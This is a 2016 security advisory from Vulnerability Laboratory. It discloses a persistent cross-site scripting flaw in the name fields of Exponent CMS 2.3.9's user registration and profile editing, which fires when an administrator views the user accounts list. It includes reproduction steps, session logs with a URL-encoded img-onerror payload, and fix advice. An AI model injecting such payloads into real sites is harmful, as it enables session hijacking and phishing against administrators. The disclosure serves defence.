[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Exponent CMS 2.3.9 - Useraccounts Persistent Vulnerability



Document Title:
===============
Exponent CMS 2.3.9 - Useraccounts Persistent Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1886


Release Date:
=============
2016-07-27


Vulnerability Laboratory ID (VL-ID):
====================================
1886


Common Vulnerability Scoring System:
====================================
4.5


Product & Service Introduction:
===============================
Exponent is a web application that allows site owners to easily create and 
manage dynamic websites. Unlike other 
site management tools, Exponent is completely self-contained. No additional 
applications need to be downloaded 
by a user to permit them to use Exponent. Everything from user management to 
site configuration to content editing 
and approval is done within the system.

(Copy of the Vendor Homepage: http://www.exponentcms.org/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent input 
validation vulnerability in the official Exponent v2.3.9 open-source content 
management system.



Vulnerability Disclosure Timeline:
==================================
2016-07-27:     Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Exponent Community
Product: Exponent - Content Management System (Open Source) 2.3.9


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
An application-side input validation web vulnerability has been discovered in 
the official Exponent v2.3.9 open-source content management system.
The vulnerability allows remote attackers to inject own malicious script codes 
on the application-side of the vulnerable module or affected function.

The vulnerability is located in the `firstname` and `lastname` parameters of 
the `useraccounts` module. The vulnerable inputs are `realname` and `user`.
Remote attackers are able to use the registration to inject own malicious 
script codes to the backend of the exponent web-application. The injection 
points 
are the vulnerable `createuser` and `umgr_editprofile` of the user manager and 
the execution point occurs in the `useraccounts` module. The request method 
to inject is POST and the attack vector is persistent on the application-side. 
The vulnerability can be exploited by local privileged user account or remotly 
by anonymous users via basic registration. The execute in the useraccounts 
module occurs on visit of the page module via backend by the administrator 
account.

The security risk of the application-side web vulnerability is estimated as 
medium with a cvss (common vulnerability scoring system) count of 4.7. 
Exploitation of the vulnerability requires a low privileged web-application 
user account (registration or create) and only low user interaction. 
Successful exploitation of the vulnerability results in session hijacking, 
persistent phishing attacks, persistent external redirects to malicious 
source and persistent manipulation of affected or connected application modules.

Request Method(s):
                                [+] POST

Vulnerable Module(s):
                                [+] createuser (basic user account)
                                [+] umgr_editprofile (admin account)

Vulnerable Parameter(s):
                                [+] firstname
                                [+] lastname

Affected Module(s):
                                [+] ./useraccounts


Proof of Concept (PoC):
=======================
The persistent input validation vulnerability can be exploited by remote 
attackers with privileged web-application user account and with low user 
interaction.
For security demonstration or to reproduce the vulnerability follow the 
provided information and steps below to continue.

Inject: Add or Register Account
URL: http://exponent_cms.localhost:8000/exponent/loginmodule/createuser/
URL: 
http://exponent_cms.localhost:8000/exponent/administrationmodule/umgr_editprofile/id/0/

Execution: User Accounts
URL: 
http://exponent_cms.localhost:8000/exponent/administrationmodule/useraccounts/


Manual steps to reproduce the vulnerability ...
1. Open the vulnerable cms website with the affected version
2. Surf to the user registration that is open by default
3. Include as realname and user name a script code payload  (firstname & 
lastname)
4. Save the registration via POST method request
Note: The user account arrives visible in the user accounts management of the 
exponent cms (admin backend)
5. Now the admin login to his application and only needs to watch the user 
accounts management to execute the payload
6. Successful reproduce of the vulnerability!


PoC: User Accounts Management Listing
<tbody id="dataTable">
<tr><td class="header administration_header"><a href="#" 
onclick="paginate.sort(&quot;0&quot;); return false;">Real Name</a>&nbsp;
<img id="sortCol_0" 
src="/exponent/themes/common/images/icons/sortdescending.png" <tr class="row 
even_row">
<td valign="top">[REALNAME PERSISTENT SCRIPT CODE EXECUTION!]</td><td 
valign="top">[USER PERSISTENT SCRIPT CODE EXECUTION!]</td>
<td valign="top">asdasdasda@xxxxxxxx</td><td valign="top"><a class="mngmntlink 
administration_mngmntlink" 
href="/exponent/index.php?module=administrationmodule&amp;action=umgr_edit&amp;id=4"><img
 class="mngmnt_icon" style="border:none;" 
src="/exponent/themes/common/images/icons/edit.png" title="" alt=""></a><a 
class="mngmntlink administration_mngmntlink" 
href="/exponent/index.php?module=administrationmodule&amp;action=umgr_delete&amp;id=4"
 
onclick="return confirm('Are you sure you want to delete the user ' ">a<img 
class="mngmnt_icon" style="border:none;" 
src="/exponent/themes/common/images/icons/delete.png" title="" 
alt=""></a></td></tr>


--- PoC Session Logs [POST] ---
Status: 302[Found] 
POST http://exponent-cms.localhost:8000/exponent/index.php 
Mime Type[text/html]
   Request Header:
      Host[exponent-cms.localhost:8000]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 
Firefox/47.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      
Referer[http://exponent-cms.localhost:8000/exponent/loginmodule/editprofile/]
      Cookie[__utma=87180614.1614609677.1469523897.1469523897.1469530273.2; 
__utmc=87180614; 
__utmz=87180614.1469523897.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 
__gads=ID=232d61c73d3bc7a4:T=1469523920:S=ALNI_MaExh82o6B4-ZkR9_wPq7yzQP0g1A; 
fusion23Up5_visited=yes; 
_pk_id.2.bb5e=62061ddadaeb545e.1469523926.1.1469524924.1469523926.; 
_pk_ref.2.bb5e=%5B%22%22%2C%22%22%2C1469523926%2C%22http%3A%2F%2Fwww.235kwgfwkeokfg.com%2Fdemo%2F1%2F52%2FPHP-Fusion%22%5D;
 cat1234sessionid=n7sqh98pqq4clv9tfhmr0u1u60; 
PHPSESSID=e720qc68nh5ohs2cvjakq03ek4; __utmb=87180614.3.10.1469530273; __utmt=1]
      Connection[keep-alive]
   POST-Daten:
      id[1]
      module[loginmodule]
      action[saveprofile]
      firstname[[PERSISTENT SCRIPT CODE INJECT!]]
      lastname[+%22%3E%3C[PERSISTENT SCRIPT CODE INJECT!]%2823%29%3B%3E]
      email[hagbart2016%40235kwgfwkeokfg.com]
   Response Header:
      Server[nginx/1.2.1]
      Content-Type[text/html; charset=UTF-8]
      Connection[keep-alive]
      X-Powered-By[PHP/5.5.27-1+deb.sury.org~precise+1]
      Set-Cookie[PHPSESSID=e720qc68nh5ohs2cvjakq03ek4; expires=Thu, 03-Nov-2016 
10:54:05 GMT; Max-Age=8640000; path=/]
      Location[http://exponent-cms.localhost:8000/exponent/]
-
Status: 302[Found]
 POST http://exponent-cms.localhost:8000/exponent/index.php
Mime Type[text/html]
   Request Header:
      Host[exponent-cms.localhost:8000]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 
Firefox/47.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      
Referer[http://exponent-cms.localhost:8000/exponent/loginmodule/editprofile/]
      Cookie[__utma=87180614.1614609677.1469523897.1469523897.1469530273.2; 
__utmc=87180614; 
__utmz=87180614.1469523897.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 
__gads=ID=232d61c73d3bc7a4:T=1469523920:S=ALNI_MaExh82o6B4-ZkR9_wPq7yzQP0g1A; 
fusion23Up5_visited=yes; 
_pk_id.2.bb5e=62061ddadaeb545e.1469523926.1.1469524924.1469523926.; 
_pk_ref.2.bb5e=%5B%22%22%2C%22%22%2C1469523926%2C%22http%3A%2F%2Fwww.235kwgfwkeokfg.com%2Fdemo%2F1%2F52%2FPHP-Fusion%22%5D;
 cat1234sessionid=n7sqh98pqq4clv9tfhmr0u1u60; 
PHPSESSID=e720qc68nh5ohs2cvjakq03ek4; __utmb=87180614.3.10.1469530273; __utmt=1]
      Connection[keep-alive]
   POST-Daten:
      id[1]
      module[loginmodule]
      action[saveprofile]
      firstname[+%22%3E++%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%2823%29%3B%3E]
      lastname[+%22%3E++%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%2823%29%3B%3E]
      email[opencms%40235kwgfwkeokfg.com]
-
Status: 200[OK]
GET 
http://exponent-cms.localhost:8000/exponent/loginmodule/createuser/x[PERSISTENT 
SCRIPT CODE EXECUTION!]
Mime Type[text/html]
   Request Header:
      Host[exponent-cms.localhost:8000]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 
Firefox/47.0]
      Accept[*/*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      
Referer[http://exponent-cms.localhost:8000/exponent/loginmodule/createuser/a]
      Cookie[__utma=87180614.1614609677.1469523897.1469523897.1469530273.2; 
__utmc=87180614; 
__utmz=87180614.1469523897.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 
__gads=ID=232d61c73d3bc7a4:T=1469523920:S=ALNI_MaExh82o6B4-ZkR9_wPq7yzQP0g1A; 
fusion23Up5_visited=yes; 
_pk_id.2.bb5e=62061ddadaeb545e.1469523926.1.1469524924.1469523926.; 
_pk_ref.2.bb5e=%5B%22%22%2C%22%22%2C1469523926%2C%22http%3A%2F%2Fwww.235kwgfwkeokfg.com%2Fdemo%2F1%2F52%2FPHP-Fusion%22%5D;
 cat1234sessionid=n7sqh98pqq4clv9tfhmr0u1u60; 
PHPSESSID=e720qc68nh5ohs2cvjakq03ek4; __utmb=87180614.3.10.1469530273; __utmt=1]
      Connection[keep-alive]
   Response Header:
      Server[nginx/1.2.1]
      Date[Tue, 26 Jul 2016 10:52:51 GMT]
      Content-Type[text/html; charset=UTF-8]
      Content-Length[4030]
      Connection[keep-alive]
      X-Powered-By[PHP/5.5.27-1+deb.sury.org~precise+1]
      Set-Cookie[PHPSESSID=e720qc68nh5ohs2cvjakq03ek4; expires=Thu, 03-Nov-2016 
10:52:51 GMT; Max-Age=8640000; path=/]
-
Status: 200[OK]
GET 
http://exponent-cms.localhost:8000/exponent/loginmodule/editprofile/x[PERSISTENT
 SCRIPT CODE EXECUTION!]
Mime Type[text/html]
   Request Header:
      Host[exponent-cms.localhost:8000]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 
Firefox/47.0]
      Accept[*/*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      
Referer[http://exponent-cms.localhost:8000/exponent/loginmodule/editprofile/x[PERSISTENT
 SCRIPT CODE EXECUTION!]]
      Cookie[__utma=87180614.1614609677.1469523897.1469523897.1469530273.2; 
__utmc=87180614; 
__utmz=87180614.1469523897.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 
__gads=ID=232d61c73d3bc7a4:T=1469523920:S=ALNI_MaExh82o6B4-ZkR9_wPq7yzQP0g1A; 
fusion23Up5_visited=yes; 
_pk_id.2.bb5e=62061ddadaeb545e.1469523926.1.1469524924.1469523926.; 
_pk_ref.2.bb5e=%5B%22%22%2C%22%22%2C1469523926%2C%22http%3A%2F%2Fwww.235kwgfwkeokfg.com%2Fdemo%2F1%2F52%2FPHP-Fusion%22%5D;
 cat1234sessionid=n7sqh98pqq4clv9tfhmr0u1u60; 
PHPSESSID=e720qc68nh5ohs2cvjakq03ek4; __utmb=87180614.3.10.1469530273; __utmt=1]
      Connection[keep-alive]
   Response Header:
      Server[nginx/1.2.1]
      Date[Tue, 26 Jul 2016 10:53:54 GMT]
      Content-Type[text/html; charset=UTF-8]
      Content-Length[4124]
      Connection[keep-alive]
      X-Powered-By[PHP/5.5.27-1+deb.sury.org~precise+1]
      Set-Cookie[PHPSESSID=e720qc68nh5ohs2cvjakq03ek4; expires=Thu, 03-Nov-2016 
10:53:54 GMT; Max-Age=8640000; path=/]


Reference(s):
http://exponent-cms.localhost:8000/
http://exponent-cms.localhost:8000/exponent/
http://exponent-cms.localhost:8000/exponent/index.php
http://exponent-cms.localhost:8000/exponent/loginmodule/
http://exponent-cms.localhost:8000/exponent/loginmodule/editprofile/


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable 
Username and Realname input fields.
Encode and parse the same in the registration and admin section to ensure no 
ability for the attack vector is granted.
Disallow the usage of special chars on the affected parameters and input fields 
of the user accounts management.
Parse in the user accounts management site the output values of the realname 
and name to prevent application-side 
attacks by registration of a basic user account.


Security Risk:
==============
The security risk of the application-side input validation vulnerability in the 
exponent cms web-application is estimated as medium. (CVSS 4.5)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri 
(bkm@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any 
warranty. Vulnerability Lab disclaims all warranties, either expressed or 
implied, 
including the warranties of merchantability and capability for a particular 
purpose. Vulnerability-Lab or its suppliers are not liable in any case of 
damage, 
including direct, indirect, incidental, consequential loss of business profits 
or special damages, even if Vulnerability-Lab or its suppliers have been 
advised 
of the possibility of such damages. Some states do not allow the exclusion or 
limitation of liability for consequential or incidental damages so the 
foregoing 
limitation may not apply. We do not approve or encourage anybody to break any 
licenses, policies, deface websites, hack into databases or trade with stolen 
data.

Domains:    www.vulnerability-lab.com           - www.vuln-lab.com              
                                - www.evolution-sec.com
Contact:    admin@xxxxxxxxxxxxxxxxxxxxx         - 
research@xxxxxxxxxxxxxxxxxxxxx                                - 
admin@xxxxxxxxxxxxxxxxx
Section:    magazine.vulnerability-lab.com      - 
vulnerability-lab.com/contact.php                             - 
evolution-sec.com/contact
Social:     twitter.com/vuln_lab                - facebook.com/VulnerabilityLab 
                                - youtube.com/user/vulnerability0lab
Feeds:      vulnerability-lab.com/rss/rss.php   - 
vulnerability-lab.com/rss/rss_upcoming.php                    - 
vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php    - 
vulnerability-lab.com/list-of-bug-bounty-programs.php         - 
vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file 
requires authorization from Vulnerability Laboratory. Permission to 
electronically 
redistribute this alert in its unmodified form is granted. All other rights, 
including the use of other media, are reserved by Vulnerability-Lab Research 
Team or 
its suppliers. All pictures, texts, advisories, source code, videos and other 
information on this website is trademark of vulnerability-lab team & the 
specific 
authors or managers. To record, list, modify, use or edit our material contact 
(admin@ or research@xxxxxxxxxxxxxxxxxxxxx) to get a ask permission.

                                    Copyright © 2016 | Vulnerability Laboratory 
- [Evolution Security GmbH]™

-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com